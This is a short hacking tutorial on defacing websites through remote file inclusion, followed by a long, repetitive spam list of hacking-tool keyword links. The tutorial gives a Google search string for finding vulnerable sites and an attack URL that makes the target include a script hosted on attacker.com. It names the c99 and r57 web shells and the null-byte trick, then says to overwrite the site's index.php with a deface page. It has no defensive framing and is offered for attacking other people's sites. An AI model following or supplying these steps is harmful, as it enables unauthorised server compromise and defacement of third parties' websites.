HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

Remote File Inclusion (RFI) is a technique that allows the attacker to upload a malicious code or file on a website or server. The vulnerability exploits the different sort of validation checks in a website and can lead to code execution on server or code execution on the website. This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of the tutorial, I suppose you will know what it is all about and may be able to deploy an attack.

RFI is a common vulnerability. All the website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and play almost anything with the server. Why it put a red alert to the websites, just because of that you only need to have your common sense and basic knowledge of PHP to execute malicious code. BASH might come handy as most of the servers today are hosted on Linux.

SO, HOW TO HACK A WEBSITE OR SERVER WITH RFI?

First of all, we need to find out an RFI vulnerable website. Let's see how we can find one.

As we know finding a vulnerability is the first step to hack a website or server. So, let's get started and simply go to Google and search for the following query.

inurl: "index.php?page=home"

At the place of home, you can also try some other pages like products, gallery and etc.

If you already a know RFI vulnerable website, then you don't need to find it through Google.

Once we have found it, let's move on to the next step. Let's see we have a following RFI vulnerable website.

http://target.com/index.php?page=home

As you can see, this website pulls documents stored in text format from the server and renders them as web pages. Now we can use PHP include function to pull them out. Let's see how it works.

http://target.com/index.php?page=http://attacker.com/maliciousScript.txt

I have included my malicious code txt URL at the place of home. You can use any shell for malicious scripts like c99, r57 or any other.

Now, if it's a really vulnerable website, then there would be 3 things that can happen.

1. You might have noticed that the URL consisted of "page=home" had no extension, but I have included an extension in my URL, hence the site may give an error like 'failure to include maliciousScript.txt', this might happen as the site may be automatically adding the .txt extension to the pages stored in server.
2. In case, it automatically appends something in the lines of .php then we have to use a null byte '' in order to avoid error.
3. Successful execution.

As we get the successful execution of the code, we're good to go with the shell. Now we'll browse the shell for index.php. And will replace the file with our deface page.

Related news

1. Pentest Tools Android
2. Hacker Hardware Tools
3. Top Pentest Tools
4. Black Hat Hacker Tools
5. Pentest Tools Online
6. World No 1 Hacker Software
7. New Hacker Tools
8. Github Hacking Tools
9. Pentest Tools Free
10. Pentest Tools Kali Linux
11. Pentest Tools Website Vulnerability
12. Hacking Tools For Windows Free Download
13. Pentest Tools Website Vulnerability
14. Hacker Tools Linux
15. Pentest Tools List
16. Best Pentesting Tools 2018
17. Hack Apps
18. Bluetooth Hacking Tools Kali
19. Hacker Techniques Tools And Incident Handling
20. Pentest Tools Apk
21. Hacking Tools Kit
22. Hacking Tools Usb
23. Hack Tools For Games
24. Hacking Tools Free Download
25. How To Install Pentest Tools In Ubuntu
26. Tools 4 Hack
27. Hacker Tools Apk
28. Hacking Tools For Pc
29. Hack Tool Apk
30. Pentest Tools Website
31. Hacking Tools Online
32. Hacker Tools Software
33. Hack Tools Mac
34. Hack Tools Github
35. Hacking Tools Free Download
36. Hacking Tools For Pc
37. Hack Rom Tools
38. Pentest Tools Port Scanner
39. Game Hacking
40. Hacking Tools Pc
41. Pentest Tools Website Vulnerability
42. Hacking Tools
43. Hacking Tools Kit
44. Pentest Tools Online
45. Hacking Tools Download
46. Pentest Recon Tools
47. Pentest Recon Tools
48. Tools 4 Hack
49. Hacking Tools 2020
50. Pentest Tools Website
51. Hacker Security Tools
52. Pentest Tools Apk
53. Hack Tools
54. Easy Hack Tools
55. Pentest Tools
56. Hacker Tools Free
57. World No 1 Hacker Software
58. Physical Pentest Tools
59. What Are Hacking Tools
60. Github Hacking Tools
61. Hacker Tools Windows
62. Wifi Hacker Tools For Windows
63. Pentest Tools Github
64. Pentest Tools Website Vulnerability
65. Black Hat Hacker Tools
66. Hacking Tools For Windows
67. Hacking Tools Pc
68. Pentest Tools Bluekeep
69. Hacking Apps
70. Hacking Tools Github
71. Hacker Techniques Tools And Incident Handling
72. Pentest Tools Website
73. Hacker Search Tools
74. Hack Apps
75. Hack Tools For Games
76. Pentest Automation Tools
77. Hack Tools For Pc
78. Pentest Reporting Tools
79. Wifi Hacker Tools For Windows
80. Hack Tools Pc
81. Hacking Apps
82. Growth Hacker Tools
83. Hacker Tools Mac
84. Growth Hacker Tools
85. Android Hack Tools Github
86. Top Pentest Tools
87. Hack Tools For Pc
88. Easy Hack Tools
89. Hack Tools
90. Pentest Automation Tools
91. Hack Tools Download
92. Pentest Tools Android
93. Github Hacking Tools
94. Hack Tools
95. Beginner Hacker Tools
96. Install Pentest Tools Ubuntu
97. Blackhat Hacker Tools
98. Hack Tools For Pc
99. Wifi Hacker Tools For Windows
100. Tools For Hacker
101. Hacker Tools Windows
102. Pentest Tools
103. Github Hacking Tools
104. How To Hack
105. Hack Tools
106. Pentest Tools For Mac
107. Hacking Tools Pc
108. Hack Tools For Windows
109. Underground Hacker Sites
110. Pentest Tools Apk
111. Hacker Tools Software
112. Pentest Tools Free
113. Hacking Tools 2020
114. Free Pentest Tools For Windows
115. Hacker Tools 2019
116. Pentest Tools Tcp Port Scanner
117. Hacker Tools Github
118. Wifi Hacker Tools For Windows
119. Best Hacking Tools 2019
120. Pentest Tools Github
121. Hacker
122. Hack And Tools
123. Blackhat Hacker Tools
124. Pentest Tools Bluekeep